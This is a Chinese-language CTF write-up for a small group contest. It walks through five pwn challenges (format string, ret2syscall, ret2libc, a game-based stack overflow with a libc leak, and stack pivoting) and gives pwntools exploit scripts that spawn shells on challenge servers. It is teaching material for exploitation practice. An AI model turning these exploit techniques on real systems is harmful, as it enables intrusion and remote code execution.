前言

这是我们群聊第一次举办比赛,虽然参与人数不多,但考虑到目前群聊一共也没有多少人,所以也情有可原,本次比赛一共五道题,接下来我会详细的写一下各道题的wp,以及涉及的知识点。

Format String

这题取自前两天刚结束的春秋杯的签到题,非常简单,甚至不用checksec,好的,接下来咱们进入题目。

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  unsigned int v3; // eax
  int v4; // r12d
  int v5; // r13d
  __int64 v6; // rax
  char v7; // dl
  char *v9; // rbx
  char s[168]; // [rsp+10h] [rbp-D0h] BYREF
  unsigned __int64 v11; // [rsp+B8h] [rbp-28h]

  v11 = __readfsqword(0x28u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  v3 = time(0);
  srand(v3);
  v4 = rand();
  v5 = rand();
  puts("Shuyao, the chaos is shifting...");
  printf("The spirit whispers two numbers: %d and %d\n", v4 % 100, v5 % 100);
  puts("Quickly! Send me your answer (Payload):");
  alarm(0xFu);
  if ( fgets(s, 160, stdin) )
  {
    if ( s[0] == 10 || !s[0] )
    {
      v6 = 0;
    }
    else
    {
      v6 = 0;
      do
        v7 = s[++v6];
      while ( v7 != 10 && v7 );
    }
    s[v6] = 0;
    printf(s, &dword_202010, (char *)&dword_202010 + 2);
    puts("");
    puts("...the echo fades.");
    if ( dword_202010 == -889275714 )
    {
      v9 = getenv("ICQ_FLAG");
      if ( !v9 )
        v9 = "ICQ{default_flag_not_set}";
      puts(asc_E00);
      puts(v9);
      fflush(stdout);
      system("/bin/sh");
    }
    else
    {
      puts(asc_D72);
    }
  }
  return 0;
}

这道题看上去很长,但其实我们只需要关注一小部分。大致浏览一下就会发现main函数里直接就有调用的system(“/bin/sh”),然后我们发现它的触发条件,是dword_202010 == -889275714,而前面正好有一个格式化字符串漏洞,对该地址进行操作,printf(s, &dword_202010, (char *)&dword_202010 + 2),所以我们完全可以通过构造输入进s的payload来控制dword_202010的值。

格式化字符串漏洞

我来大致讲解一下知识点。

我们都知道,在printf这个函数中,我们可以在要输出的字符串中用一些特殊字符来对后续参数进行一些操作,这里先简单列举一些。

一、基础占位符

符号/格式:%d | 功能说明:输出十进制有符号整数(int)| 适用场景:常规数据输出、偏移测试 | 实操示例&效果说明:printf(“%d”,123) → 输出123

符号/格式:%u | 功能说明:输出十进制无符号整数(unsigned int)| 适用场景:无符号数据查看 | 实操示例&效果说明:printf(“%u”,-1) → 32位输出4294967295

符号/格式:%x/%X | 功能说明:输出十六进制整数(小写/大写)| 适用场景:内存地址、栈数据查看 | 实操示例&效果说明:printf(“%x”,255) → ff;%X→FF

符号/格式:%c | 功能说明:输出单个字符 | 适用场景:字符型数据查看 | 实操示例&效果说明:printf(“%c”,97) → 输出a

符号/格式:%s | 功能说明:输出字符串(遇\0终止)| 适用场景:读取内存字符串、泄露数据 | 实操示例&效果说明:printf(“%s”,”flag”) → 输出flag

符号/格式:%p | 功能说明:输出指针地址(32位4字节/64位8字节)| 适用场景:精准查看内存地址 | 实操示例&效果说明:64位printf(“%p”,&a) → 输出0x7ffe123456789(就是以地址格式输出对应参数的值)

符号/格式:%f | 功能说明:输出浮点数 | 适用场景:漏洞利用几乎不用 | 实操示例&效果说明:printf(“%f”,3.14) → 输出3.140000

符号/格式:%% | 功能说明:输出百分号本身(转义)| 适用场景:避免符号被解析 | 实操示例&效果说明:printf(“%%d”) → 输出%d

二、核心利用符

符号/格式:%n | 功能说明:已输出字符数写入指针指向内存(4字节,int)| 适用场景:32/64位4字节写操作 | 实操示例&效果说明:printf(“123%n”,&a) → a被赋值为3

符号/格式:%hn | 功能说明:写入短整型(2字节,short)| 适用场景:分块写、防溢出 | 实操示例&效果说明:printf(“abc%hn”,&a) → a(short)赋值3

符号/格式:%hhn | 功能说明:写入字符型(1字节,char)| 适用场景:精细分块写、多地址修改 | 实操示例&效果说明:printf(“xy%hhn”,&a) → a(char)赋值2

符号/格式:%lln | 功能说明:写入长整型(8字节,long long)| 适用场景:64位专属8字节写 | 实操示例&效果说明:64位printf(“1234%lln”,&a) → a赋值4

符号/格式:%k$n/hn/hhn/lln | 功能说明:指定第k个参数为写入目标,免偏移计算 | 适用场景:精准定位写入地址 | 实操示例&效果说明:printf(“%3$hhn”,1,2,&a) → a(char)赋值0(无前置字符,输出数为0)

三、长度控制符

符号/格式:%[num]d/x/c | 功能说明:指定宽度输出,不足补空格 | 适用场景:凑已输出字符数、对齐 | 实操示例&效果说明:printf(“%5d”,12) → 输出 12(前补3空格,总宽5)

符号/格式:%0[num]d/x | 功能说明:指定宽度输出,不足补0 | 适用场景:凑数同时保持格式 | 实操示例&效果说明:printf(“%04x”,15) → 输出000f

符号/格式:%-[num]d | 功能说明:左对齐输出(默认右对齐)| 适用场景:漏洞利用几乎不用 | 实操示例&效果说明:printf(“%-5d”,12) → 输出12 (后补3空格)

四、64位专属符

符号/格式:%lld | 功能说明:输出64位十进制有符号整数 | 适用场景:64位整数查看 | 实操示例&效果说明:64位printf(“%lld”,1234567890123) → 输出对应数字

符号/格式:%llu | 功能说明:输出64位十进制无符号整数 | 适用场景:64位无符号数据查看 | 实操示例&效果说明:64位printf(“%llu”,-1) → 输出18446744073709551615

符号/格式:%lx | 功能说明:输出64位十六进制整数 | 适用场景:64位栈地址、内存查看 | 实操示例&效果说明:64位printf(“%lx”,0x123456789abcdef) → 输出123456789abcdef

五、漏洞利用高频组合示例

1. 偏移占位+1字节写:aaaa%7$hhn | 说明:前4个a占偏移,对第7个参数指向地址,写入4(已输出字符数)

2. 凑数+4字节写:%100d%8$n | 说明:输出100个数字位(凑100字符),对第8个参数地址写入100

3. 多地址分块写:%10c%3$hhn%20c%4$hhn | 说明:先凑10字符写3号地址→10,再凑20字符(累计30)写4号地址→30

4. 64位精准8字节写:%200c%6$lln | 说明:凑200个空格,对64位程序的6号参数指向地址,直接写入8字节的200

好的,这里我们大致了解了格式化操作符,接下来我们讲格式化字符串漏洞。

假设,我们要运行一句代码printf(s)(这里s是一个字符串指针),我们可以很清楚的看到,这里s后面没有参数了,那么,如果这个s指向的字符串中存在格式化操作符呢?答案是它会对本应存有后一个参数的地方进行操作,比如,64位程序第一个参数是在rdi寄存器,第二个参数是在rsi,所以它会对rsi中存的数进行操作。这个时候rsi里存的是什么,我们并不知道,所以很容易造成一些问题。但如果仅仅只是这样,那这个漏洞还不是很可控,但64位程序只有前六个参数是存在寄存器里的,后续的参数依次存在栈上,所以我们可以通过,像%k$n这样的格式化操作符来对字符串后第k个参数来进行操作(比如64位栈上第一个参数就是函数的第七个参数,也就是字符串后第六个参数,所以k要等于6),而很多供我们输入的数组就是储存在栈上的(比如这里的s),所以如果我们能控制s的内容,那么我们就可以利用%n和%s进行任意写和任意读了。

ps:这里只是稍微解释一下,更深层次的理解可以看一下

格式化字符串漏洞原理-CSDN博客

继续分析

所以我们要做的就是构造好输入,用%[num1]c%[num2]$hn把对应数据-889275714写入到已经给好的参数里就行了,但由于原程序代码已经写好了参数,我们必须把该数据-889275714前两个字节分开写入,我们要先把它转成字节形式0xcafebabe,再根据小端序,低位存低地址,把0xbabe存进第二个参数地址,把0xcafe存进第三个参数地址。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context.log_level = 'debug'
host='8.146.207.242'
port=32809
#io=process('./pwn')
io=remote(host,port)
data1=0xbabe
data2=0xcafe
payload=f"%{data1}c%1$hn%{data2-data1}c%2$hn".encode()
#gdb.attach(io)
io.sendlineafter(b'Quickly! Send me your answer (Payload):\n', payload)
io.interactive()

ret2syscall

这题其实很老了,也是很基础的题

先checksec一下

图片

分析

再丢进ida里

图片
发现有明显能利用的栈溢出,但并没有system函数能用,也没法用libc库,所以考虑执行系统调用,具体请参考

https://zh.wikipedia.org/wiki/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8

在32位程序中系统调用是用int 0x80指令(64位是用syscall)

  • 我们要构造execve(“/bin/sh”,NULL,NULL),其中系统调用号,即 eax 应该为 0xb

  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。

  • 第二个参数,即 ecx 应该为 0

  • 第三个参数,即 edx 应该为 0

那么接下来就是找gadgets了

图片
图片
图片
图片
这里我直接用了

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

可以直接控制3个参数的值

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = remote(host,port)

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
p.sendline(payload)
p.interactive()

这里需要注意,为什么这里填充了112个字节的垃圾数据,而不是0x64+0x4(104),这是因为,虽然程序声明了100字节,但栈平衡会要求栈16字节对齐,所以这里为了对齐,就会有108个字节的空间。所以大家一定要通过gdb调试一下再写exp。

ret2libc

这题在ret2libc里都算最简单的那一批了,不过好在比赛中确实也很多人都解出来了。

分析

图片
图片
依旧是一个非常明显的栈溢出漏洞,但是这里我们可以从ida左边栏看到外部调用的system所以我们需要调用system,所以直接找plt段的system项就可以了。关于plt表和got表,以及延迟绑定机制,具体的可以看这篇文章

Pwn基础:PLT&GOT表以及延迟绑定机制-腾讯云开发者社区-腾讯云

PLT&GOT表和延迟绑定机制

这里我只简单的讲一下我的理解。

plt表放的是可执行的程序,分为两部分,a部分用于根据got表中储存的对应函数地址,使程序跳转到对应函数运行,b部分负责从libc库中找对应函数地址,找到后将其写入got表后再跳转过去。而延迟绑定呢,就是函数在第一次被调用的时候,其真实地址才会被写入got表,具体操作大概是这样。

程序运行到一个函数(假设是system),程序跳转到plt段的system项中的a部分,根据got表中存的地址跳转,但我们知道,这是第一调用,got表里没有写system的真实地址,那此时,got表里存的是什么呢?没错,就是b部分的地址,随后程序会跳转到b部分,然后从libc库中找system的地址,写入got表,那么,以后的调用就只需要用a部分了。

exp

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
from pwn import *

p = remote(host,port)

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat([b'a' * 112, system_plt, b'b' * 4, binsh_addr])
p.sendline(payload)

p.interactive()

ezgame

这题是马了个巴子提供的,取自23年香山杯的同名题目,当时他是以很有意思为由推荐的,我看了下,确实很有意思,是个小游戏,还得找游戏的bug打赢boss才能利用漏洞,不过漏洞利用方面确实很基础,就是一个栈溢出,先泄露libc地址,再构造system(“/bin/sh”)获得shell就行,和前两题考察的只是点有一定的重合,所以这里不再细讲,大家可以参考

2023香山杯决赛pwn(部分解)-CSDN博客

以下是马了个巴子本人的wp

溢出点

图片  

需要不断打怪升级买装备才能 选择boss2 来触发栈溢出

 

图片  

 

 

 

 

for _ in range(1,30):

    io.sendline(b’2’)

    io.sendline(b’1’)

io.sendline(b’6’)  

 

此处来进行打怪攒金币

 

 

for _ in range(1,10):  

    io.sendline(b’1’)

io.sendline(b’3’)

io.sendline(b’1’)

io.sendline(b’2’)

io.sendline(b’2’)

#此处用来连续买装备

然后使用rop链泄露libc地址

rop=ROP(elf)

rdi_addr=rop.find_gadget([‘pop rdi’]).address

ret_addr=rop.find_gadget([‘ret’]).address

put_plt=elf.plt[‘puts’]

put_got=elf.got[‘puts’]

main_addr=0x4011D2

padding=0x650+0x8

payload=b’a’*padding+p64(rdi_addr)+p64(put_got)+p64(put_plt)+p64(main_addr)

io.sendlineafter(b’Congratulations on defeating the dark sorcerer. Leave your name!’,payload)

io.recvline()

puts_addr = u64(io.recvline().strip(b’\n’).ljust(8, b’\x00’))

print(hex(puts_addr))

base = puts_addr - libc.symbols[‘puts’]

sys_addr=base+libc.sym[‘system’]

sh_addr=base+next(libc.search(b’/bin/sh’))

payload2 =b”a”*padding +p64(ret_addr)+p64(rdi_addr)+p64(sh_addr)+p64(sys_addr)

io.sendline(b’2’)

io.sendline(b’2’)

io.sendlineafter(b’Congratulations on defeating the dark sorcerer. Leave your name!’,payload2)

图片

stack pivot

栈迁移

这题取自buuctf的ciscn_2019_es_2,我放这题主要是为了考察一下栈迁移这么个知识点。

首先,什么是栈迁移呢,顾名思义,在某种程度上改变栈的位置,实际上,一个函数的栈帧,很大程度上是根据寄存器,也就是esp和ebp(rsp和rbp)决定的,一些指令,比如pop,push都是根据esp去对栈上的数据操作的,所以,只要我们能控制esp和ebp两个寄存器,我们就能一定程度上控制栈帧。

那么怎么控制呢?答案是,利用leave;ret指令,leave指令,等价于mov esp,ebp;pop ebp把ebp中存的栈地址赋值给esp,然后把该地址上的值弹出给ebp,弹出后,esp存的地址自然会加4字节,此时,ret,也就是pop eip,把这个地址上存的值弹出给eip,让程序跳转过去运行。

而如果这里跳转到另一个leave;ret的话,就可以让esp指向ebp中存的地址+4的位置,在栈溢出题目中,很多情况下这个地址是可以被我们修改的,所以我们完全可以让esp指向任意我们想让它指向的方向,这就完成了栈迁移,这里为了方便理解,我偷了两张示意图

第一次leave;ret

图片

第二次leave;ret

图片
(图片取自栈迁移总结-CSDN博客,大家也可以看看这篇文章。)

分析

那么接下来开始分析

图片
图片
这里很明显,只能溢出8字节,在32位环境中,刚够覆盖ebp和返回地址,怎么办,这就用到了栈迁移,我们可以先利用第一个printf泄露ebp地址(栈地址),再直接在s中构造ROP链,然后把ebp覆盖为s数组的起始地址,返回地址覆盖为另一个leave;ret的地址,就可以了,这里应注意,esp会指向ebp+4的地方,所以我们s数组前四字节应该填充点数据,第5字节开始构造ROP链。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

p=remote(host,port)

payload=b"a"*0x24+b"b"*0x4
p.recvuntil("Welcome, my friend. What's your name?\n")
p.send(payload)
p.recvuntil(b"b"*0x4)
ebp_addr=u32(p.recv(4))
log.info(f"ebp_address: {hex(ebp_addr)}")

leave_ret=0x08048562
system=0x08048400
binsh=ebp_addr-0x28
payload2=(b"a"*0x4+p32(system)+p32(0)+p32(binsh)+b"/bin/sh").ljust(0x28,b'\x00')+p32(ebp_addr-0x38)+p32(leave_ret)
p.send(payload2)
p.interactive()

大家可以好好思考理解一下这个ROP链的运行·过程。